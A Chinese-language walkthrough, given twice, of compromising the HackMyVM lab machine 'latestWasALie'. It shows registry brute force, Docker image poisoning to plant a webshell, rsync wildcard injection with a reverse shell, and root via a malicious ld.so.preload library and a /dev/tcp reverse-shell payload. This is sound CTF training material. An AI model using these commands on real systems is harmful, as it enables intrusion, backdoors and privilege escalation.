探测主机nmap -sn 192.168.1.0/24信息收集收集192.168.1.9的端口信息nmap -sC -sS -A -T4 --min-rate 10000 192.168.1.9有2个web服务80端口访问80端口没一会就会自动跳转到latestwasalie.hmv还显示无法访问估计要设置主机头信息设置下host然后访问就可以成功加载页面http://latestwasalie.hmv/底部有一个注释信息先记录下adm目录爆破我们对网站进行目录爆破可以看到提示也印证了需要加主机头信息现在没啥线索换到5000端口5000端口通过刚刚的信息收集可以知道是Docker Registry服务查找关于这个服务的信息5000 - Pentesting Docker Registry - HackTricks说是有一个/v2/_catalog信息访问下但是需要凭据hydra爆破Docker registry认证我们在80端口有收集到adm这个名字尝试作为账户进行爆破# -s 5000 :指定5000端口 # -V显示每次爆破的账户和密码 # -f找到正确凭据就停止爆破 hydra -l adm -P /usr/share/wordlists/rockyou.txt 192.168.1.9 -s 5000 http-get /v2/ -V -f成功得到账户密码adm lover1Docker镜像投毒获取Docker仓库有镜像也可以使用curl进行获取# -k跳过证书验证 # -u提供凭据完成Basic Auth认证 curl -k -u adm:lover1 http://192.168.1.9:5000/v2/_catalog查询Docker镜像版本标签查看镜像有哪些tagscurl -k -u adm:lover1 http://192.168.1.9:5000/v2/latestwasalie-web/tags/list可以看到就一个latest版本拉取Docker镜像我们先登录到192.168.1.9的docker会出现Error报错因为Docker需要https但是我们的靶机是http编辑/etc/docker/daemon.json文件添加以下内容信任192.168.1.9这个http源{ insecure-registries: [192.168.1.9:5000] }然后重启下服务sudo systemctl daemon-reload sudo systemctl restart docker然后就可以成功登录将远端的镜像拉取下来docker pull 192.168.1.9:5000/latestwasalie-web镜像投毒我们对刚刚下载的镜像进行投毒docker run -it --name tmp_container 192.168.1.9:5000/latestwasalie-web /bin/bash总共有3个文件夹分别看看都有什么东西可以看到其中default就是我们靶机80端口的网站写一个info.php先看看网站都禁用了什么函数然后我们把我们修改后的镜像重新打包上传回到192.168.1.9服务器有镜像同步机制我们上传有毒的镜像之后服务器会自动部署# 修改镜像 docker commit tmp_container 192.168.1.9:5000/latestwasalie-web # 将本地本地镜像进行推送 docker push 192.168.1.9:5000/latestwasalie-web访问http://192.168.1.9/info.php就可以看到info.php成功写入发现没有禁止eval那么直接写入webshell还是一样修改本地的容器推送上去过一会就可以看到webshell成功写入可以连接成功但是命令执行被禁了在这个源码中看到有一个/data/目录?php $exportDir /data/exports; $stateDir /data/state; $maxFiles (int)(getenv(EXPORT_MAX_FILES) ?: 20); $minInterval (int)(getenv(EXPORT_MIN_INTERVAL) ?: 10); if (!is_dir($exportDir)) { http_response_code(500); echo Export directory not available.; exit; } if (!is_dir($stateDir)) { http_response_code(500); echo State directory not available.; exit; } $lockFilePath $stateDir . /export.lock; $stampFilePath $stateDir . /last_export.timestamp; $lockHandle fopen($lockFilePath, c); if ($lockHandle false) { http_response_code(500); echo Could not initialize export lock.; exit; } if (!flock($lockHandle, LOCK_EX)) { http_response_code(500); echo Could not acquire export lock.; fclose($lockHandle); exit; } try { $now time(); $lastExport 0; if (file_exists($stampFilePath)) { $raw trim((string)file_get_contents($stampFilePath)); if (ctype_digit($raw)) { $lastExport (int)$raw; } } if (($now - $lastExport) $minInterval) { http_response_code(429); $wait $minInterval - ($now - $lastExport); echo h1Too many requests/h1; echo pPlease wait {$wait} seconds before creating another export./p; flock($lockHandle, LOCK_UN); fclose($lockHandle); exit; } $files glob($exportDir . /report_*.txt); if ($files false) { $files []; } usort($files, function ($a, $b) { return filemtime($a) filemtime($b); }); while (count($files) $maxFiles) { $oldest array_shift($files); if ($oldest ! null is_file($oldest)) { unlink($oldest); } } $filename report_ . date(Ymd_His) . _ . bin2hex(random_bytes(3)) . .txt; $filePath $exportDir . / . $filename; $content latestWasALie export\n; $content . Generated: . date(c) . \n; $content . Version: . htmlspecialchars(getenv(APP_VERSION) ?: unknown, ENT_QUOTES, UTF-8) . \n; $content . RemoteAddr: . ($_SERVER[REMOTE_ADDR] ?? unknown) . \n; if (file_put_contents($filePath, $content, LOCK_EX) false) { http_response_code(500); echo Could not write export file.; flock($lockHandle, LOCK_UN); fclose($lockHandle); exit; } file_put_contents($stampFilePath, (string)$now, LOCK_EX); echo h1Export created/h1; echo pFile: . htmlspecialchars($filename, ENT_QUOTES, UTF-8) . /p; echo pCurrent limit: . (int)$maxFiles . files, one export every . (int)$minInterval . seconds./p; flock($lockHandle, LOCK_UN); fclose($lockHandle); } catch (Throwable $e) { http_response_code(500); echo Unhandled export error.; flock($lockHandle, LOCK_UN); fclose($lockHandle); exit; } ?打开相应的目录看到rsync_cmd文件rsync 参数注入命令作用使用backupusr的 ED25519 私钥通过 SSH 本地加密通道以归档模式、详细日志输出把当前目录全部.txt文件增量同步到本机 /home/backupusr/backup/ 目录下完整保留文件所有属性。rsync -e ssh -i /home/backupusr/.ssh/id_ed25519 -av *.txt localhost:/home/backupusr/backup/当sync与*进行组合时就会出现参数注入参考资料Back To The Future: Unix Wildcards Gone Wild我们新建一个a.txt把反弹shell 的命令写进入busyboxnc 反弹shell然后再创建一个特殊的文件进行命令注入等靶机进行同步我们就可以得到一个shellGet User Flag得到user flag写入公钥在刚刚的sync中我们是有看到.ssh目录/home/backupusr/.ssh/id_ed25519我们把我们的公钥写入到authorized_keys这样就可以登录到backupusr用户我们在kali上生成一个密钥ssh-keygen然后获取刚刚生成好的公钥输入到靶机的authorized_keys中然后ssh直接连接靶机注意这里要使用靶机的用户名而不是你自己的ssh backupus192.168.1.9Root链Atouch /etc/ld.so.preload查找SUID文件find / -perm -4000 -type f 2/dev/null发现有touch那么我们可以通过touch来修改/etc/ld.so.preload来get root shell创建一个/etc/ld.so.preload/usr/bin/touch /etc/ld.so.preload ls -l /etc/ld.so.preload/etc/ld.so.preload是动态链接器全局配置文件ld 会先读取这个文件里面写了哪些 .so 库就会优先加载这些库那么我们写一个恶意的so文件并把这个so文件放入到/etc/ld.so.preload中preload_home.c文件内容如下#define _GNU_SOURCE #include unistd.h #include sys/stat.h __attribute__((constructor)) void init(void) { setgid(0); setuid(0); unlink(/etc/ld.so.preload); chown(/home/backupusr/rootbash, 0, 0); chmod(/home/backupusr/rootbash, 04755); }编译成so文件gcc -shared -fPIC -nostartfiles -o preload_home.so preload_home.c在kali上将这个恶意的so文件传递到靶机上使用scp 传递文件# -F /dev/null不加载任何ssh config配置文件 # -i ~/.ssh/id_ed25519使用私钥进行登录SSH scp -F /dev/null -i ~/.ssh/id_ed25519 preload_home.so backupusr192.168.1.9:/home/backupusr/preload_home.so然后在靶机上运行如下命令# 将/bin/bash复制一份作为root后面载体 cp /bin/bash /home/backupusr/rootbash # 给后门添加权限 chmod 755 /home/backupusr/rootbash # 创建一个空白/etc/ld.so.preload文件 /usr/bin/touch /etc/ld.so.preload # 把我们恶意的so文件写入到ld.so.preload中 printf /home/backupusr/preload_home.so\n /etc/ld.so.preload # 执行touch命令触发下因为touch使用时会动态加载库所会激活加载/etc/ld.so.preload里面的so文件 # Linux 安全机制普通无 SUID 程序会忽略 /etc/ld.so.preload只有 SUID/SGID 程序才会正常加载预加载库所以这里必须用 SUID touch 作为触发载体。 /usr/bin/touch /home/backupusr/trigger_preload # bash 默认有安全机制运行带 SUID 的 bash 时会自动丢弃有效 UID (root)变回普通用户权限。使用-p 则保留SUID权限不会降权 # -c 代表不进入交互式 shell直接执行引号内的一串命令执行完毕立刻退出。 /home/backupusr/rootbash -p -c id; whoami; ls -la /root; cat /root/root.txt 21成功得到root shell小细节/tmp 在该靶机上有 nosuid所以 SUID bash 放在 /tmp 不会生效改放到 /home/backupusr/rootbash 后即可正常 bash -pRoot 链 B/root/backups.sh /opt/registry/note.txt 通配符注入查找当权用户可写入的文件/文件夹找到提取突破口# 查找当前用户可写入的文件/文件夹 find / -writable 2/dev/null | grep -v -E (proc|sys|dev|tmp|run) find / -name note.txt -ls 2/dev/null可以看到/opt/registry/note.txt是所有人可读可写的上传pspy查找定时任务寻找提权突破口SSH执行命令scp -F /dev/null -i ~/.ssh/id_ed25519 pspy64 backupusr192.168.1.9:/home/backupusr/pspy64 ssh -F /dev/null -i ~/.ssh/id_ed25519 backupusr192.168.1.9 chmod x /home/backupusr/pspy64; timeout 380 /home/backupusr/pspy64 -p -i 100 --ppid我们着重关注UID0蓝色部分的进程可以看到也有一个rsync跟UID1000backupusr的命令几乎一致那么就可以猜测root账户也有一个rsync命令注入漏洞那么我们可以用同样的手法来反弹一个root shell可以看到root的那个/root/backup.sh备份的目标就是/opt/registry可以直接修改note.txtnote.txt是可写的或者我们可以直接使用touch创建一个新的txt也可以使用cat写入内容payload内容就是生成一个root_note_bash后面再反弹一个root shell# 写入payload cat /opt/registry/note.txt PAYLOAD #!/bin/sh { echo [] note.txt root payload ran at $(date) id$(id) cwd$(pwd) args$* cp /bin/bash /home/backupusr/root_note_bash chown root:root /home/backupusr/root_note_bash chmod 4755 /home/backupusr/root_note_bash /bin/bash -c /bin/bash -i /dev/tcp/192.168.1.7/4447 01 } /home/backupusr/note_root.log 21 exit 1 PAYLOAD # 创建特殊文件 /usr/bin/touch /opt/registry/-e sh note.txt # 查看文件 ls -la /opt/registry我们kali开启监听过一会就可以得到root shell同样也可以直接使用目录下的root_note_bash但是注意要加上-p参数--privileged
【HackMyVM】latestWasALie
探测主机nmap -sn 192.168.1.0/24信息收集收集192.168.1.9的端口信息nmap -sC -sS -A -T4 --min-rate 10000 192.168.1.9有2个web服务80端口访问80端口没一会就会自动跳转到latestwasalie.hmv还显示无法访问估计要设置主机头信息设置下host然后访问就可以成功加载页面http://latestwasalie.hmv/底部有一个注释信息先记录下adm目录爆破我们对网站进行目录爆破可以看到提示也印证了需要加主机头信息现在没啥线索换到5000端口5000端口通过刚刚的信息收集可以知道是Docker Registry服务查找关于这个服务的信息5000 - Pentesting Docker Registry - HackTricks说是有一个/v2/_catalog信息访问下但是需要凭据hydra爆破Docker registry认证我们在80端口有收集到adm这个名字尝试作为账户进行爆破# -s 5000 :指定5000端口 # -V显示每次爆破的账户和密码 # -f找到正确凭据就停止爆破 hydra -l adm -P /usr/share/wordlists/rockyou.txt 192.168.1.9 -s 5000 http-get /v2/ -V -f成功得到账户密码adm lover1Docker镜像投毒获取Docker仓库有镜像也可以使用curl进行获取# -k跳过证书验证 # -u提供凭据完成Basic Auth认证 curl -k -u adm:lover1 http://192.168.1.9:5000/v2/_catalog查询Docker镜像版本标签查看镜像有哪些tagscurl -k -u adm:lover1 http://192.168.1.9:5000/v2/latestwasalie-web/tags/list可以看到就一个latest版本拉取Docker镜像我们先登录到192.168.1.9的docker会出现Error报错因为Docker需要https但是我们的靶机是http编辑/etc/docker/daemon.json文件添加以下内容信任192.168.1.9这个http源{ insecure-registries: [192.168.1.9:5000] }然后重启下服务sudo systemctl daemon-reload sudo systemctl restart docker然后就可以成功登录将远端的镜像拉取下来docker pull 192.168.1.9:5000/latestwasalie-web镜像投毒我们对刚刚下载的镜像进行投毒docker run -it --name tmp_container 192.168.1.9:5000/latestwasalie-web /bin/bash总共有3个文件夹分别看看都有什么东西可以看到其中default就是我们靶机80端口的网站写一个info.php先看看网站都禁用了什么函数然后我们把我们修改后的镜像重新打包上传回到192.168.1.9服务器有镜像同步机制我们上传有毒的镜像之后服务器会自动部署# 修改镜像 docker commit tmp_container 192.168.1.9:5000/latestwasalie-web # 将本地本地镜像进行推送 docker push 192.168.1.9:5000/latestwasalie-web访问http://192.168.1.9/info.php就可以看到info.php成功写入发现没有禁止eval那么直接写入webshell还是一样修改本地的容器推送上去过一会就可以看到webshell成功写入可以连接成功但是命令执行被禁了在这个源码中看到有一个/data/目录?php $exportDir /data/exports; $stateDir /data/state; $maxFiles (int)(getenv(EXPORT_MAX_FILES) ?: 20); $minInterval (int)(getenv(EXPORT_MIN_INTERVAL) ?: 10); if (!is_dir($exportDir)) { http_response_code(500); echo Export directory not available.; exit; } if (!is_dir($stateDir)) { http_response_code(500); echo State directory not available.; exit; } $lockFilePath $stateDir . /export.lock; $stampFilePath $stateDir . /last_export.timestamp; $lockHandle fopen($lockFilePath, c); if ($lockHandle false) { http_response_code(500); echo Could not initialize export lock.; exit; } if (!flock($lockHandle, LOCK_EX)) { http_response_code(500); echo Could not acquire export lock.; fclose($lockHandle); exit; } try { $now time(); $lastExport 0; if (file_exists($stampFilePath)) { $raw trim((string)file_get_contents($stampFilePath)); if (ctype_digit($raw)) { $lastExport (int)$raw; } } if (($now - $lastExport) $minInterval) { http_response_code(429); $wait $minInterval - ($now - $lastExport); echo h1Too many requests/h1; echo pPlease wait {$wait} seconds before creating another export./p; flock($lockHandle, LOCK_UN); fclose($lockHandle); exit; } $files glob($exportDir . /report_*.txt); if ($files false) { $files []; } usort($files, function ($a, $b) { return filemtime($a) filemtime($b); }); while (count($files) $maxFiles) { $oldest array_shift($files); if ($oldest ! null is_file($oldest)) { unlink($oldest); } } $filename report_ . date(Ymd_His) . _ . bin2hex(random_bytes(3)) . .txt; $filePath $exportDir . / . $filename; $content latestWasALie export\n; $content . Generated: . date(c) . \n; $content . Version: . htmlspecialchars(getenv(APP_VERSION) ?: unknown, ENT_QUOTES, UTF-8) . \n; $content . RemoteAddr: . ($_SERVER[REMOTE_ADDR] ?? unknown) . \n; if (file_put_contents($filePath, $content, LOCK_EX) false) { http_response_code(500); echo Could not write export file.; flock($lockHandle, LOCK_UN); fclose($lockHandle); exit; } file_put_contents($stampFilePath, (string)$now, LOCK_EX); echo h1Export created/h1; echo pFile: . htmlspecialchars($filename, ENT_QUOTES, UTF-8) . /p; echo pCurrent limit: . (int)$maxFiles . files, one export every . (int)$minInterval . seconds./p; flock($lockHandle, LOCK_UN); fclose($lockHandle); } catch (Throwable $e) { http_response_code(500); echo Unhandled export error.; flock($lockHandle, LOCK_UN); fclose($lockHandle); exit; } ?打开相应的目录看到rsync_cmd文件rsync 参数注入命令作用使用backupusr的 ED25519 私钥通过 SSH 本地加密通道以归档模式、详细日志输出把当前目录全部.txt文件增量同步到本机 /home/backupusr/backup/ 目录下完整保留文件所有属性。rsync -e ssh -i /home/backupusr/.ssh/id_ed25519 -av *.txt localhost:/home/backupusr/backup/当sync与*进行组合时就会出现参数注入参考资料Back To The Future: Unix Wildcards Gone Wild我们新建一个a.txt把反弹shell 的命令写进入busyboxnc 反弹shell然后再创建一个特殊的文件进行命令注入等靶机进行同步我们就可以得到一个shellGet User Flag得到user flag写入公钥在刚刚的sync中我们是有看到.ssh目录/home/backupusr/.ssh/id_ed25519我们把我们的公钥写入到authorized_keys这样就可以登录到backupusr用户我们在kali上生成一个密钥ssh-keygen然后获取刚刚生成好的公钥输入到靶机的authorized_keys中然后ssh直接连接靶机注意这里要使用靶机的用户名而不是你自己的ssh backupus192.168.1.9Root链Atouch /etc/ld.so.preload查找SUID文件find / -perm -4000 -type f 2/dev/null发现有touch那么我们可以通过touch来修改/etc/ld.so.preload来get root shell创建一个/etc/ld.so.preload/usr/bin/touch /etc/ld.so.preload ls -l /etc/ld.so.preload/etc/ld.so.preload是动态链接器全局配置文件ld 会先读取这个文件里面写了哪些 .so 库就会优先加载这些库那么我们写一个恶意的so文件并把这个so文件放入到/etc/ld.so.preload中preload_home.c文件内容如下#define _GNU_SOURCE #include unistd.h #include sys/stat.h __attribute__((constructor)) void init(void) { setgid(0); setuid(0); unlink(/etc/ld.so.preload); chown(/home/backupusr/rootbash, 0, 0); chmod(/home/backupusr/rootbash, 04755); }编译成so文件gcc -shared -fPIC -nostartfiles -o preload_home.so preload_home.c在kali上将这个恶意的so文件传递到靶机上使用scp 传递文件# -F /dev/null不加载任何ssh config配置文件 # -i ~/.ssh/id_ed25519使用私钥进行登录SSH scp -F /dev/null -i ~/.ssh/id_ed25519 preload_home.so backupusr192.168.1.9:/home/backupusr/preload_home.so然后在靶机上运行如下命令# 将/bin/bash复制一份作为root后面载体 cp /bin/bash /home/backupusr/rootbash # 给后门添加权限 chmod 755 /home/backupusr/rootbash # 创建一个空白/etc/ld.so.preload文件 /usr/bin/touch /etc/ld.so.preload # 把我们恶意的so文件写入到ld.so.preload中 printf /home/backupusr/preload_home.so\n /etc/ld.so.preload # 执行touch命令触发下因为touch使用时会动态加载库所会激活加载/etc/ld.so.preload里面的so文件 # Linux 安全机制普通无 SUID 程序会忽略 /etc/ld.so.preload只有 SUID/SGID 程序才会正常加载预加载库所以这里必须用 SUID touch 作为触发载体。 /usr/bin/touch /home/backupusr/trigger_preload # bash 默认有安全机制运行带 SUID 的 bash 时会自动丢弃有效 UID (root)变回普通用户权限。使用-p 则保留SUID权限不会降权 # -c 代表不进入交互式 shell直接执行引号内的一串命令执行完毕立刻退出。 /home/backupusr/rootbash -p -c id; whoami; ls -la /root; cat /root/root.txt 21成功得到root shell小细节/tmp 在该靶机上有 nosuid所以 SUID bash 放在 /tmp 不会生效改放到 /home/backupusr/rootbash 后即可正常 bash -pRoot 链 B/root/backups.sh /opt/registry/note.txt 通配符注入查找当权用户可写入的文件/文件夹找到提取突破口# 查找当前用户可写入的文件/文件夹 find / -writable 2/dev/null | grep -v -E (proc|sys|dev|tmp|run) find / -name note.txt -ls 2/dev/null可以看到/opt/registry/note.txt是所有人可读可写的上传pspy查找定时任务寻找提权突破口SSH执行命令scp -F /dev/null -i ~/.ssh/id_ed25519 pspy64 backupusr192.168.1.9:/home/backupusr/pspy64 ssh -F /dev/null -i ~/.ssh/id_ed25519 backupusr192.168.1.9 chmod x /home/backupusr/pspy64; timeout 380 /home/backupusr/pspy64 -p -i 100 --ppid我们着重关注UID0蓝色部分的进程可以看到也有一个rsync跟UID1000backupusr的命令几乎一致那么就可以猜测root账户也有一个rsync命令注入漏洞那么我们可以用同样的手法来反弹一个root shell可以看到root的那个/root/backup.sh备份的目标就是/opt/registry可以直接修改note.txtnote.txt是可写的或者我们可以直接使用touch创建一个新的txt也可以使用cat写入内容payload内容就是生成一个root_note_bash后面再反弹一个root shell# 写入payload cat /opt/registry/note.txt PAYLOAD #!/bin/sh { echo [] note.txt root payload ran at $(date) id$(id) cwd$(pwd) args$* cp /bin/bash /home/backupusr/root_note_bash chown root:root /home/backupusr/root_note_bash chmod 4755 /home/backupusr/root_note_bash /bin/bash -c /bin/bash -i /dev/tcp/192.168.1.7/4447 01 } /home/backupusr/note_root.log 21 exit 1 PAYLOAD # 创建特殊文件 /usr/bin/touch /opt/registry/-e sh note.txt # 查看文件 ls -la /opt/registry我们kali开启监听过一会就可以得到root shell同样也可以直接使用目录下的root_note_bash但是注意要加上-p参数--privileged